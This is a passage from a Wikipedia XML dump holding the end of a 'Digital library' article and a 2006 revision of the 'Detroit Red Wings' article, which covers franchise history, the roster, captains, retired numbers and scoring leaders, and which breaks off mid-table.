*[http://discovery.bits-pilani.ac.in/rahul/I-Net/Complete-InetBook-PHI-2003-Secure.pdf Online version of ''Internetworking Technologies'', by Rahul Banerjee, which deals with the architectures of leading digital libraries in the world (chapter 10)]
*[http://loa.codingsource.org/ Lib''rar''y of Anarachy: Collection Of Technology Book (Under Development)]
*[http://www.dlib.org/metrics/public/papers/dig-lib-scope.html The Scope of the Digital Library]
* {{LISWiki_link|Digital library}}
*[http://www.americanjourneys.org/about.asp/  The American Journeys Project] an example of a digital library whose contents center on a particular theme--the exploration of North America. 

[[Category:Digital libraries|*]]
[[Category:Library and information science]]

[[de:Virtuelle Bibliothek]]
[[fr:Bibliothèque en ligne]]
[[it:Biblioteca digitale]]
[[ms:perpustakaan digital]]
[[nl:Digitale bibliotheek]]
[[ja:電子図書館]]
[[pt:Biblioteca digital]]
[[zh:数字图书馆]]</text>
    </revision>
  </page>
  <page>
    <title>Detroit Red Wings</title>
    <id>8795</id>
    <revision>
      <id>42032512</id>
      <timestamp>2006-03-03T09:32:17Z</timestamp>
      <contributor>
        <ip>83.228.19.7</ip>
      </contributor>
      <text xml:space="preserve">{{NHL Team Infobox
|team_name = Detroit Red Wings
|bg_color = red
|text_color = white
|logo = Detroit Redwings.gif
|alternate_logo = 
|founded = [[1926-27 NHL season|1926]]
|home_arena = [[Joe Louis Arena]]
|hometown = [[Detroit, Michigan]]
|team_colors = Red, white
|head_coach = [[Mike Babcock]]
|captain = [[Steve Yzerman]]
|alternate_captains = [[Nicklas Lidstrom]] &lt;br /&gt; [[Brendan Shanahan]]
|general_manager = [[Ken Holland]]
|owner = [[Mike Ilitch]]
|minor_league = [[Grand Rapids Griffins]] ([[American Hockey League|AHL]])&lt;br /&gt;[[Toledo Storm]] ([[ECHL]])
|division_titles = '''24''' ([[1933-34 NHL season|1934]], [[1935-36 NHL season|1936]], [[1936-37 NHL season|1937]], [[1942-43 NHL season|1943]], [[1948-49 NHL season|1949]], [[1949-50 NHL season|1950]], [[1950-51 NHL season|1951]], [[1951-52 NHL season|1952]], [[1952-53 NHL season|1953]], [[1953-54 NHL season|1954]], [[1954-55 NHL season|1955]], [[1956-57 NHL season|1957]], [[1964-65 NHL season|1965]], [[1987-88 NHL season|1988]], [[1988-89 NHL season|1989]], [[1991-92 NHL season|1992]], [[1993-94 NHL season|1994]], [[1994-95 NHL season|1995]], [[1995-96 NHL season|1996]], [[1998-99 NHL season|1999]], [[2000-01 NHL season|2001]], [[2001-02 NHL season|2002]], [[2002-03 NHL season|2003]], [[2003-04 NHL season|2004]])
|conference_titles = '''21''' ([[1933-34 NHL season|1934]], [[1936-37 NHL season|1937]], [[1940-41 NHL season|1941]], [[1941-42 NHL season|1942]], [[1942-43 NHL season|1943]], [[1944-45 NHL season|1945]], [[1947-48 NHL season|1948]], [[1948-49 NHL season|1949]], [[1949-50 NHL season|1950]], [[1951-52 NHL season|1952]], [[1953-54 NHL season|1954]], [[1954-55 NHL season|1955]], [[1955-56 NHL season|1956]], [[1960-61 NHL season|1961]], [[1962-63 NHL season|1963]], [[1963-64 NHL season|1964]], [[1965-66 NHL season|1966]], [[1994-95 NHL season|1995]], [[1996-97 NHL season|1997]], [[1997-98 NHL season|1998]], [[2001-02 NHL season|2002]])
|championships = '''10''' ([[1935-36 NHL season|1936]], [[1936-37 NHL season|1937]], [[1942-43 NHL season|1943]], [[1949-50 NHL season|1950]], [[1951-52 NHL season|1952]], [[1953-54 NHL season|1954]], [[1954-55 NHL season|1955]], [[1996-97 NHL season|1997]], [[1997-98 NHL season|1998]], [[2001-02 NHL season|2002]])
}}

The '''Detroit Red Wings''' are a [[National Hockey League]] (NHL) team based in [[Detroit, Michigan]], [[United States|USA]].

==Facts==
:'''Founded''': [[1926-27 NHL season|1926]]
:'''Formerly known as''': Cougars [[1926-27 NHL season|1926]]-[[1929-30 NHL season|1930]], Falcons [[1930-31 NHL season|1930]]-[[1931-32 NHL season|1932]]
:'''Home arena''': [[Joe Louis Arena]]
::'''Former Home Arenas:''' [[Windsor Arena]] (1926-27); [[Detroit Olympia]] (1927-1979)
:'''Uniform colors''': Red and white.
:'''Logo design''': Stylized red winged wheel.
Main Rivals: [[Colorado Avalanche]], [[St. Louis Blues (hockey)|St. Louis Blues]], [[Nashville Predators]]
:'''[[Stanley Cup]]s''': 10 -  [[1935-36 NHL season|1936]], [[1936-37 NHL season|1937]], [[1942-43 NHL season|1943]], [[1949-50 NHL season|1950]], [[1951-52 NHL season|1952]], [[1953-54 NHL season|1954]], [[1954-55 NHL season|1955]], [[1996-97 NHL season|1997]], [[1997-98 NHL season|1998]], [[2001-02 NHL season|2002]]
:'''[[Presidents' Trophy|Presidents' Trophies]]''': 4 - [[1994-95 NHL season|1995]], [[1995-96 NHL season|1996]], [[2001-02 NHL season|2002]], [[2003-04 NHL season|2004]]
:'''One of the NHL's [[Original Six|Original Six franchises]]''', along with the [[Boston Bruins]], [[Chicago Blackhawks]], [[Montreal Canadiens]], [[New York Rangers]], and [[Toronto Maple Leafs]].

== Franchise history ==
===1925 to 1949===
When the [[Western Canada Hockey League|Western Hockey League]] folded after the [[1925-26 WHL season]], a deal was made so that two of the most successful of the teams in that league, the [[1924-25 WCHL season|1925]] [[Stanley Cup]] champion [[Victoria Cougars]], and the [[Portland Rosebuds]] (to become the [[Chicago Blackhawks]]) would jump to the NHL. The Victoria Cougars were originally called the [[Victoria Aristocrats]] and belonged to the [[Pacific Coast Hockey Association]], which folded and then merged with the [[Western Canada Hockey League]] for the [[1924-25 WCHL season]]. Since no arena in the Motor City was ready at the time, the newly-renamed Detroit Cougars played their first season in [[Windsor, Ontario]]. For the [[1927-28 NHL season|1927-28]] season, the Cougars moved into the new [[Detroit Olympia]], which would be their home rink until [[December 15]], [[1978-79 NHL season|1979]].  This was also the first season behind the bench for [[Jack Adams]], who would be the face of the franchise for the next 36 years as either coach or general manager. 

The Cougars made the [[playoff]]s for the first time in [[1928-29 NHL season|1929]] with [[Carson Cooper]] leading the team in scoring. The Cougars were outscored 7-2 in the two-game series with the [[Toronto Maple Leafs]].

In 1930 the Cougars were renamed the Falcons, but their woes continued, usually finishing near the bottom of the standings. When [[James Norris Sr.]] bought the team in [[1932-33 NHL season|1932]] the team was renamed the Detroit Red Wings. Earlier in the century, Norris had played on one of hockey's early powers, the Montreal Amateur Athletic Association, nicknamed the &quot;Winged Wheelers.&quot;  Because of the team’s location in Detroit, the Motor City, Norris transformed the MAAA logo into the first version of the Red Wings logo as we know it today.  He also gave Adams a year on his job on probation and a handshake. Their first year with the current name they won their first playoff series in the NHL, over the now-defunct [[Montreal Maroons]]. They lost in the semi-finals against the [[New York Rangers]].

In [[1933-34 NHL season|1934]] the Wings made the Stanley Cup Finals for the first time, with [[John Sorrell]] scoring 21 goals over 47 games and [[Larry Aurie]] leading the team in scoring. However, the [[Chicago Blackhawks]] had an easy time with Detroit in the finals, winning the best of 5 series in four games.

[[Image:DetroitCougars.gif|thumb|100px|Detroit Cougars logo (1927)]]
[[image:detroitredwingslogo1932.gif|thumb|100px|Detroit Red Wings logo (1931-1933)]]
[[image:detroitredwingslogo40s.gif|thumb|100px|Detroit Red Wings logo (1934-1947)]]

The Red Wings won their first Stanley Cup in [[1935-36 NHL season|1936]], defeating Toronto in four games. [[Marty Barry]] led the team in scoring and [[Ebbie Goodfellow]] was one of the top defensemen in the league. Detroit repeated its championship season in [[1936-37 NHL season|1937]], winning over the Rangers in the full five games.

The Wings struggled and finished last the following season. They regrouped and made the playoffs again the following year, and made the Stanley Cup Finals in three consecutive years during the early 1940s. In [[1940-41 NHL season|1941]] they were swept by the [[Boston Bruins]], in [[1941-42 NHL season|1942]] they blew a three-game lead against Toronto to lose the finals, but in [[1942-43 NHL season|1943]], with [[Syd Howe]] and [[Mud Bruneteau]] scoring 20 goals apiece, Detroit won their third Cup  by sweeping the Bruins. They remained a solid team through the rest of the decade, making the playoffs every year, and reaching the finals three more times. 

In [[1946-47 NHL season|1946]], one of the greatest players in hockey history came into the NHL with the Red Wings. [[Gordie Howe]], a right-winger from [[Floral, Saskatchewan]], only scored seven goals and 22 points in his first season; and wouldn't reach his prime for a few more years.  It was also the last season as head coach for Adams, who stepped down after the season to concentrate on his duties as general manager.  He'd coached the last 15 years without a contract.

By his second season, Howe was paired with [[Sid Abel]] and [[Ted Lindsay]] to form what would become one of the great lines in NHL history--the &quot;Production Line.&quot; Linday's 33 goals propelled the Wings to the Stanley Cup Finals, where they were swept by the Maple Leafs. Detroit reached the Finals again the following season, only to be swept again by Toronto.

===1950 to 1979===
The Wings returned to the top in [[1949-50 NHL season|1950]], with [[Pete Babando]] scoring the game winner in double overtime of game 7 to beat the Rangers in the Finals. 

After being upset by the [[Montreal Canadiens]] in the [[1950-51 NHL season|1951]] semifinals, Detroit won its fifth Cup in [[1951-52 NHL season|1952]], with the Production Line of Howe, Abel and Lindsay joined by second-year goalie [[Terry Sawchuk]]. Abel left the Wings for Chicago following the season, and his spot on the roster was replaced by [[Alex Delvecchio]]. 

The 1952 playoffs featured the start of a Red Wings tradition - the [[octopus]] throw. The owner of a local fish market threw one from the stands and onto the ice. The eight legs were symbolic of the eight playoff wins it took to win the Stanley Cup at the time. They swept both of their opponents that year. 1952 also saw the passing of [[James Norris Sr.]], with his daughter Margurite becoming President and Governor of the Red Wings.

Following another playoff upset in [[1952-53 NHL season|1953]] at the hands of the Bruins, the Red Wings won back to back Stanley Cups in [[1953-54 NHL season|1954]] (over Montreal, when Habs defenseman [[Doug Harvey]] redirected a [[Tony Leswick]] shot into his own net) and [[1954-55 NHL season|1955]] (also over Montreal in seven games). Also during 1955 off-season, Margurite Norris was forced to turn the team over to younger brother [[Bruce Norris|Bruce]]. Detroit and Montreal once again met in the [[1955-56 NHL season|1956]] finals, but this time the Canadiens won the cup, their first of five in a row.

In [[1956-57 NHL season|1957]] Ted Lindsay, who scored 30 goals and led the league in assists that year, helped start the [[NHL Players Association|NHLPA]] and was promptly traded. The Wings lost in the first round of the playoffs to the Bruins. In [[1958-59 NHL season|1959]] the Red Wings missed the playoffs for the first time in 21 years.

Within a couple of years, Detroit was rejeuvenated and made the Finals for four of the next six years between [[1960-61 NHL season|1961]] and [[1965-66 NHL season|1966]]. However, despite having Howe, Delvecchio, [[Norm Ullman]] and [[Parker MacDonald]] being consistent goal scorers, and Sawchuk and later [[Roger Crozier]] between the pipes, the Wings came away empty-handed.

Adams was fired as general manager in [[1963]]. By the late 1960s, the Wings started to flounder and entered a funk that they wouldn't get out of for almost 20 years. Between [[1966-67 NHL season|1967]] and [[1982-83 NHL season|1983]], Detroit only made the playoffs twice, winning one series.

The legendary Gordie Howe retired in 1971. Howe returned to pro hockey shorty after to play with his two sons Mark and Marty Howe. (Mark would later join the Red Wings at the end of his career)Detroit lost Howe to the upstart [[World Hockey Association]] in [[1972-73 WHA season|1972]]. Through the decade, with [[Mickey Redmond]] having two 50-goal seasons and [[Marcel Dionne]] starting to reach his prime (which he didn't attain until he was traded to the [[Los Angeles Kings]]), a lack of defensive and goaltending ability continually hampered the Wings.

===1980 to 1989===
During the [[1979-80 NHL season]], the Wings left the Olympia for [[Joe Louis Arena]]. In 1982, after 50 years of family ownership, Bruce Norris sold the Red Wings to [[Mike Ilitch]], founder of [[Little Caesars|Little Caesars Pizza]].

In [[1983 NHL Entry Draft|1983]] the Wings drafted a center from [[Cranbrook, British Columbia]] named [[Steve Yzerman]]. He led the team in scoring in his rookie year, and started the Wings' climb back to the top. That season, with [[John Ogrodnick]] scoring 42 times and [[Ivan Boldirev]] and [[Ron Duguay]] also with 30-goal seasons, Detroit made the playoffs for the first time in six years. 

By [[1986-87 NHL season|1987]], with Yzerman joined by [[Petr Klima]], [[Adam Oates]], [[Gerard Gallant]], [[Defenceman (hockey)|defenseman]] [[Darren Veitch]] and new head coach [[Jacques Demers]], the Wings made it to the semifinals for the first time in the modern era, losing in five games to the powerhouse [[Edmonton Oilers]]. They repeated the performance in [[1987-88 NHL season|1988]] with a similar result.

In [[1988-89 NHL season|1989]], Yzerman scored a career-best 65 goals, but Detroit was upset in the first round by the Blackhawks. The following season Yzerman knotted 62 goals but the team didn't even make the playoffs. Demers was fired, and the Red Wings haven't missed the playoffs since. Yzerman was joined by [[Sergei Fedorov]] (who defected from the [[Soviet Union|USSR]]) and [[Enforcer (hockey)|enforcer]] [[Bob Probert]], two of the most familiar faces of the Wings in the 1990s. In 1992 the team acquired [[Ray Sheppard]], who had a career-best 52 goals two years later; and top defenseman [[Paul Coffey]]. Also joining the Red Wings around this time were draft picks like [[Vyacheslav Kozlov|Slava Kozlov]], [[Darren McCarty]], [[Vladimir Konstantinov]], and [[Nicklas Lidström]].

===1990 to 2004===

[[Scotty Bowman]], the winningest coach in NHL history, joined the Red Wings in [[1993-94 NHL season|1993]]. In his second season, the [[1994-95 NHL lockout|lockout]]-shortened [[1994-95 NHL season]], he guided Detroit to its first Finals appearance in 29 years. They were swept by the [[New Jersey Devils]].

The Wings kept adding more star power, picking up [[Viacheslav Fetisov|Slava Fetisov]], [[Igor Larionov]], and goaltender [[Mike Vernon]] in trades. After a third-round playoff loss to the new [[Colorado Avalanche]] in [[1995-96 NHL season|1996]], Detroit, joined by [[Brendan Shanahan]] and [[Larry Murphy]] during the season, once again reached the Finals in [[1996-97 NHL season|1997]], beating the [[Philadelphia Flyers]] in four straight games. It was the Wings' first Stanley Cup since 1955, breaking the longest drought in the league at that time.

Tragedy struck the Wings days after their championship. Vladimir Konstantinov suffered a brain injury in a car accident, and his career had to come to an abrupt end. Their [[1997-98 NHL season|1997-98]] season, which also ended in a Cup victory (a sweep over the [[Washington Capitals]]), was dedicated to Konstantinov, who came out in his wheelchair that night to touch the Cup. 

The Wings built up a fierce rivalry with the Avalanche by this time. With the Red Wings beating the Avalanche in the third round in [[1996-97 NHL season|1997]], and Colorado beating Detroit in the second round in both [[1998-99 NHL season|1999]] and [[1999-00 NHL season|2000]], the battles between these two teams has become one of the fiercest in sports. During one game, [[Brawl in Hockeytown|a brawl]] ensued between Colorado goalie [[Patrick Roy]] and his Detroit counterpart [[Mike Vernon]]. 

In [[2000-01 NHL season|2001]] Detroit, the league's second-best team in the regular season, suffered a first-round playoff loss to the [[Los Angeles Kings|Kings]]. They got goalie [[Dominik Hasek]] from a trade with the [[Buffalo Sabres]], and landed left-wing [[Luc Robitaille]] and right-wing [[Brett Hull]] in the [[offseason]]. The Wings became the odds-on favorite to win the Cup in [[2001-02 NHL season|2002]]. They did not disappoint, having the league's best record in the regular season and capturing another Cup, in five games over the Cinderella [[Carolina Hurricanes]]. Bowman and Hasek both retired after the season.

In [[2002-03 NHL season|2003]], with new coach [[Dave Lewis]] and goalie pickup [[Curtis Joseph]], the Wings were upset by the [[Mighty Ducks of Anaheim|Anaheim Mighty Ducks]] in four straight games in the first round, after one of the most successful regular seasons in team history. 

Long time Red Wing Sergei Fedorov signed with the Mighty Ducks as a free agent during the offseason. Hasek came out of retirement, and joined the Wings for the [[2003-04 NHL season|2003-04 season]]. This meant that Detroit had three goalies, with Joseph and [[Manny Legace]] as backups. The Wings also added defenseman [[Derian Hatcher]] from [[Dallas Stars|Dallas]] via free agency, as well as forward [[Ray Whitney (hockey player)|Ray Whitney]] from [[Columbus Blue Jackets|Columbus]] as a free agent. Joseph, despite being one of the highest paid players in the NHL, had to spend part of the season with the [[Grand Rapids Griffins]], Detroit's [[American Hockey League]] affiliate.  Ultimately, Hasek had to call it quits because of a groin injury, and Joseph led the team to the top of the Central Division and the Western Conference. Hatcher was also injured just a few games into the regular season with a torn MCL. He would not return until the end of the regular season. The Wings acquired veteran center [[Robert Lang (hockey player|Robert Lang]] from the Capitals at the trade deadline and he made a big impression over the next few weeks. 

In the first round of the [[2003-04 NHL season|2004]] playoffs, Detroit eliminated the [[Nashville Predators]] in 6 games.  After losing [[Captain (hockey)|captain]] Steve Yzerman for the season with a horrific eye injury in Game 5, the Red Wings were eliminated by the [[Calgary Flames]] in 6 games in the second round. 

During the 2004 offseason, the Wings focused on keeping players they already had instead of being active on the free agent market.  They re-signed [[Frank J. Selke Trophy|Selke Trophy]]-winning forward [[Kris Draper]], who had just had a career season, to a four year deal, and captain Steve Yzerman to a one year deal. They also re-signed [[Brendan Shanahan]], [[Jiri Fischer]], [[Jason Williams (hockey)|Jason Williams]], and [[Mathieu Dandenault]] as well head coach Dave Lewis, despite his poor playoff record. Deals were not reached with veteran defensemen [[Chris Chelios]] and [[Mathieu Schneider]] or star forward [[Pavel Datsyuk]] before the NHL owners triggered their [[2004-05 NHL lockout|lockout]] on [[September 15]]. There also was a parting of ways with veteran forward Brett Hull, who signed with the [[Phoenix Coyotes]] as did forward [[Boyd Devereaux]].

==2005-06 Season==
In [[June 2005]], due to his poor performance in the playoffs, the Red Wings decided to let go of head coach Dave Lewis. On [[July 15]], [[2005]], [[Mike Babcock]], former coach of the Mighty Ducks, became the new head coach for the Wings.

In [[July 2005]], due to the new NHL restrictions, the Wings had to release Darren McCarty, Derian Hatcher and Ray Whitney. The Wings did re-sign Chris Chelios and Mathieu Schneider to one-year contracts and also signed [[2004 NHL Entry Draft|2004]] top draft pick [[Johan Franzen]]. Team captain Steve Yzerman also re-signed for one year for what many fans feel will be his final season. On [[August 8]], the Wings brought back [[Chris Osgood]] to a one year contract.

The Red Wings are on a record setting start to the 2005-2006 season. They are currently first in the Central Division with a 39-13-5 record and have 83 points as of [[February 14]], [[2006]]. ([http://www.nhl.com/standings/index.html NHL Standings].) Manny Legace started his own legacy in October. With Osgood out, Legace became the starter and set an NHL record with most wins, 10, in the month of October. The Red Wings went on to have a very impressive 11-1-0 record in October. The Red Wings tied a league record with the most points after 14 games, 25 points. They also tied their franchise's record with most consecutive wins, 9.

==Notable players==
===Current Squad===
''As of [[February 12]], [[2005-06 NHL season|2006]]'' [http://tsn.ca/nhl/feature/?fid=8957&amp;hubname=]
{|
!colspan=6 |&lt;big&gt;Goaltenders
|- bgcolor=&quot;#dddddd&quot;
!width=5%|Number
!width=5%|
!!width=15%|Player
!width=16%|Catches
!width=9%|Acquired
!width=37%|Place of Birth 
|-

|- bgcolor=&quot;#eeeeee&quot;
|align=center|'''30'''
|align=center|{{flagicon|CAN}}
|[[Chris Osgood]]
|align=center|L
|align=center|[[2005-06 NHL season|2005]]
|[[Peace River, Alberta]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''34'''
|align=center|{{flagicon|CAN}}
|[[Manny Legace]]
|align=center|L
|align=center|[[1999-00 NHL season|1999]]
|[[Toronto, Ontario]]
&lt;!-- sent to Grand Rapids
|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''35'''
|align=center|{{flagicon|USA}}
|[[Jimmy Howard]]
|align=center|L
|align=center|[[2003 NHL Entry Draft|2003]]
|[[Ogdensburg, New York]] --&gt;
|}

{| width=100%
!colspan=7 |&lt;big&gt;Defensemen
|- bgcolor=&quot;#dddddd&quot;
!width=5%|Number
!width=5%|
!!width=15%|Player
!width=16%|Shoots
!width=9%|Acquired
!width=37%|Place of Birth 
|-

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''2'''
|align=center|{{flagicon|CZE}}
|[[Jiri Fischer]] (Injured Reserve)
|align=center|L
|align=center|[[1998 NHL Entry Draft|1998]]
|[[Horovice]], [[Czechoslovakia]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''3'''
|align=center|{{flagicon|SWE}}
|[[Andreas Lilja]]
|align=center|L
|align=center|[[2005-06 NHL season|2005]]
|[[Landskrona]], [[Sweden]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''4'''
|align=center|{{flagicon|CAN}}
|[[Jamie Rivers]]
|align=center|L
|align=center|[[2003-04 NHL season|2003]]
|[[Ottawa, Ontario]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''5'''
|align=center|{{flagicon|SWE}}
|[[Nicklas Lidstrom]] - A
|align=center|L
|align=center|[[1989 NHL Entry Draft|1989]]
|[[Vasteras]], [[Sweden]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''15'''
|align=center|{{flagicon|CAN}}
|[[Jason Woolley]]
|align=center|L
|align=center|[[2002-03 NHL season|2002]]
|[[Toronto, Ontario]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''22'''
|align=center|{{flagicon|USA}}
|[[Brett Lebda]]
|align=center|L
|align=center|[[2005-06 NHL season|2004]]
|[[Buffalo Grove, Illinois]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''23'''
|align=center|{{flagicon|USA}}
|[[Mathieu Schneider]]
|align=center|L
|align=center|[[2002-03 NHL season|2003]]
|[[New York City|New York, New York]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''24'''
|align=center|{{flagicon|USA}}
|[[Chris Chelios]]
|align=center|R
|align=center|[[1998-99 NHL season|1999]]
|[[Chicago, Illinois]]
&lt;!-- in Grand Rapids
|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''45'''
|align=center|{{flagicon|CAN}}
|[[Kyle Quincey]]
|align=center|L
|align=center|[[2003 NHL Entry Draft|2003]]
|[[Kitchener, Ontario]] --&gt;

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''55'''
|align=center|{{flagicon|SWE}}
|[[Niklas Kronwall]]
|align=center|L
|align=center|[[2000 NHL Entry Draft|2000]]
|[[Stockholm]], [[Sweden]]

|}

{|
!colspan=7 |&lt;big&gt;Forwards
|- bgcolor=&quot;#dddddd&quot;
!width=5%|Number
!width=5%|
!!width=15%|Player
!width=8%|Shoots
!width=8%|Position
!width=9%|Acquired
!width=37%|Place of Birth
|-

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''11'''
|align=center|{{flagicon|CAN}}
|[[Daniel Cleary]]
|align=center|L
|align=center|LW
|align=center|[[2005-06 NHL season|2005]]
|[[Carbonear, Newfoundland and Labrador|Carbonear, Newfoundland]]
 
|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''13'''
|align=center|{{flagicon|RUS}}
|[[Pavel Datsyuk]]
|align=center|L
|align=center|C
|align=center|[[1998 NHL Entry Draft|1998]]
|[[Yekaterinburg|Sverdlovsk]], [[U.S.S.R.]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''14'''
|align=center|{{flagicon|CAN}}
|[[Brendan Shanahan]] - A
|align=center|R
|align=center|LW/RW
|align=center|[[1996-97 NHL season|1996]]
|[[Mimico, Ontario]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''18'''
|align=center|{{flagicon|CAN}}
|[[Kirk Maltby]]
|align=center|R
|align=center|LW/RW
|align=center|[[1995-96 NHL season|1995]]
|[[Guelph, Ontario]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''19'''
|align=center|{{flagicon|CAN}}
|[[Steve Yzerman]] - C
|align=center|R
|align=center|C/W
|align=center|[[1983 NHL Entry Draft|1983]]
|[[Cranbrook, British Columbia]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''20'''
|align=center|{{flagicon|CZE}}
|[[Robert Lang (hockey player)|Robert Lang]]
|align=center|R
|align=center|C
|align=center|[[2003-04 NHL season|2004]]
|[[Teplice]], [[Czechoslovakia]]
&lt;!-- in Grand Rapids
|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''26'''
|align=center|{{flagicon|CZE}}
|[[Jiří Hudler]]
|align=center|R
|align=center|C
|align=center|[[2002 NHL Entry Draft|2002]]
|[[Olomouc|Olomouc]], [[Czechoslovakia]] --&gt;

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''29'''
|align=center|{{flagicon|CAN}}
|[[Jason Williams (hockey)|Jason Williams]]
|align=center|R
|align=center|C/RW
|align=center|[[2000-01 NHL season|2000]]
|[[London, Ontario]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''33'''
|align=center|{{flagicon|CAN}}
|[[Kris Draper]]
|align=center|L
|align=center|C
|align=center|[[1992-93 NHL season|1993]]
|[[Toronto, Ontario]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''37'''
|align=center|{{flagicon|SWE}}
|[[Mikael Samuelsson]]
|align=center|R
|align=center|RW
|align=center|[[2005-06 NHL season|2005]]
|[[Mariefred]], [[Sweden]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''39'''
|align=center|{{flagicon|SWE}}
|[[Johan Franzen]]
|align=center|L
|align=center|C/LW
|align=center|[[2004 NHL Entry Draft|2004]]
|[[Vetlanda]], [[Sweden]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''40'''
|align=center|{{flagicon|SWE}}
|[[Henrik Zetterberg]]
|align=center|L
|align=center|LW
|align=center|[[1999 NHL Entry Draft|1999]]
|[[Njurunda]], [[Sweden]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''44'''
|align=center|{{flagicon|USA}}
|[[Mark Mowers]]
|align=center|R
|align=center|C/RW
|align=center|[[2002-03 NHL season|2002]]
|[[Whitesboro, New York]]

|-bgcolor=&quot;#eeeeee&quot;
|align=center|'''96'''
|align=center|{{flagicon|SWE}}
|[[Tomas Holmstrom]]
|align=center|L
|align=center|RW/LW
|align=center|[[1994 NHL Entry Draft|1994]]
|[[Pitea]], [[Sweden]]
|}

===[[Hockey Hall of Fame]]rs===
&lt;div style=&quot;float:left; width:48%;&quot;&gt;
*[[Sid Abel]]
*[[Jack Adams]]
*[[Marty Barry]]
*[[Paul Coffey]]
*[[Alex Delvecchio]]
*[[Marcel Dionne]]
*[[Viacheslav Fetisov]]
*[[Bill Gadsby]]
*[[Ebbie Goodfellow]]
*[[Glenn Hall]]
*[[George Hay]]
*[[Gordie Howe]]
*[[Syd Howe]]
*[[Mike Ilitch]]
&lt;/div&gt;&lt;div style=&quot;float:right; width:48%;&quot;&gt;
*[[Tommy Ivan]]
*[[Red Kelly]]
*[[Herbie Lewis]]
*[[Ted Lindsay]]
*[[Harry Lumley (hockey player)|Harry Lumley]]
*[[Frank Mahovlich]]
*[[Larry Murphy]]
*[[Marcel Pronovost]]
*[[Bill Quackenbush]]
*[[Terry Sawchuk]]
*[[Black Jack Stewart|&quot;Black&quot; Jack Stewart]]
*[[Cecil Thompson]]
*[[Norm Ullman]]

&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

===Team captains===
&lt;div style=&quot;float:left; width:48%;&quot;&gt;
*[[Larry Aurie]] 1932-33
*[[Herbie Lewis (hockey)|Herbie Lewis]] 1933-34
*[[Ebbie Goodfellow]] 1934-35
*[[Doug Young (hockey player)|Doug Young]] 1935-38
*[[Ebbie Goodfellow]] 1938-41
*Ebbie Goodfellow &amp; [[Syd Howe]] 1941-42
*[[Sid Abel]] 1942-43
*[[Mud Bruneteau]]/[[Bill Hollett]] 1943-44
*[[Bill Hollett]] 1944-45
*Bill Hollett &amp; Sid Abel 1945-46
*Sid Abel 1946-52
*[[Ted Lindsay]] 1952-56
*[[Red Kelly]] 1956-58
*[[Gordie Howe]] 1958-62
*[[Alex Delvecchio]] 1962-73
&lt;/div&gt;&lt;div style=&quot;float:right; width:48%;&quot;&gt;
*Alex Delvecchio &amp; [[Nick Libett]] &amp; [[Gordon Berenson|Red Berenson]] &amp; [[Gary Bergman]] &amp; [[Ted Harris (hockey player)|Ted Harris]] &amp; *[[Mickey Redmond]] &amp; [[Larry Johnston (hockey player)|Larry Johnston]] 1973-74
*[[Marcel Dionne]] 1974-75
*[[Danny Grant]] &amp; [[Terry Harper]] 1975-76
*Danny Grant &amp; [[Dennis Polonich]] 1976-77
*[[Dan Maloney]] &amp; [[Dennis Hextall]] 1977-78
*Dennis Hextall &amp; Nick Libett &amp; [[Paul Woods]] 1978-79
*[[Dale McCourt]] 1979-80
*[[Errol Thompson (hockey player)|Errol Thompson]] &amp;  [[Reed Larson]] 1980-81
*Reed Larson 1981-82
*[[Danny Gare]] 1982-86
*[[Steve Yzerman]]  1986-present
&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

===Retired numbers===
*  1 [[Terry Sawchuk]], G, 1949-55, 1958-64 &amp; 1968-69
*  6 [[Larry Aurie]], LW, 1933-1937 - (unofficially retired)
*  7 [[Ted Lindsay]], LW, 1944-57 &amp; 1964-65
*  9 [[Gordie Howe]], RW, 1946-71
* 10 [[Alex Delvecchio]], C, 1950-73
* 12 [[Sid Abel]], LW-C, 1938-52; Head Coach, 1957-69; General Manager, 1963-71; Broadcaster
* 16 [[Vladimir Konstantinov]] D, 1991-1997 - (unofficially retired)
* 99 [[Wayne Gretzky]], retired NHL-wide

===Franchise scoring leaders===
These are the top-ten point-scorers in the history of the Red Wings. Figures are updated after each completed NHL regular season.
'''''Note:''' GP = Games Played, G = Goals, A = Assists, Pts = Points''
{| cellpadding=3 border=1 cellspacing=0 class=&quot;wikitable&quot;
! Player !! POS !! GP !! G !! A !! Pts
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Gordie Howe]] || RW || 1687 || 786 || 1023 || 1809
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Steve Yzerman]] || C || 1453 || 678 || 1043 || 1721
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Alex Delvecchio]] || C || 1549 || 456 || 825 || 1281
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Sergei Fedorov]] || C || 908 || 400 || 554 || 954
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Norm Ullman]] || C || 875 || 324 || 434 || 758
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Ted Lindsay]] || LW || 862 || 335 || 393 || 728
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Nicklas Lidstrom]] || D || 1016 || 173 || 553 || 726
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Reed Larson]] || D || 708 || 188 || 382 || 564
|- align=&quot;center&quot;
